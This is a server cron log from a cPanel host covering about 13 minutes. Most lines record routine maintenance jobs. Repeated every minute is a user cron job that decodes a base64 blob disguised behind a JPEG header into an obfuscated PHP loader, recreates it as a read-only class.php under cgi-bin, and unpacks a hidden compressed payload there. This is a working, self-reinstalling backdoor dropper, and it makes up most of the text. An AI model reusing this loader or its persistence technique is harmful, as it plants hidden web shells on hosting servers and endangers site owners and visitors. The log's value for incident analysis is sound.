Sep 12 10:17:01 server CROND[18124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:17:01 server CROND[18125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:18:01 server CROND[18503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:18:01 server CROND[18504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:18:01 server CROND[18505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:19:01 server CROND[18891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:19:01 server CROND[18892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:19:01 server CROND[18893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:20:01 server CROND[19430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:20:01 server CROND[19432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:20:01 server CROND[19433]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:20:01 server CROND[19440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:20:01 server CROND[19439]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:20:01 server CROND[19442]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:20:01 server CROND[19441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:20:01 server CROND[19444]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 10:20:01 server CROND[19443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:21:01 server CROND[20394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:21:01 server CROND[20395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:21:01 server CROND[20396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:22:01 server CROND[20775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:22:01 server CROND[20776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:22:01 server CROND[20777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:23:01 server CROND[21155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:23:01 server CROND[21156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:23:01 server CROND[21157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:24:01 server CROND[21533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:24:01 server CROND[21534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:24:01 server CROND[21535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:25:01 server CROND[22066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:25:01 server CROND[22067]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:25:01 server CROND[22076]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 10:25:01 server CROND[22079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:25:01 server CROND[22081]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:25:01 server CROND[22078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:25:01 server CROND[22082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:25:01 server CROND[22080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:26:01 server CROND[23055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:26:01 server CROND[23056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:26:01 server CROND[23057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:27:01 server CROND[23464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:27:01 server CROND[23463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:27:01 server CROND[23466]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 10:27:01 server CROND[23465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:28:01 server CROND[23855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:28:01 server CROND[23857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:28:01 server CROND[23856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:29:01 server CROND[24245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:29:01 server CROND[24248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:29:01 server CROND[24247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:30:01 server CROND[24700]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
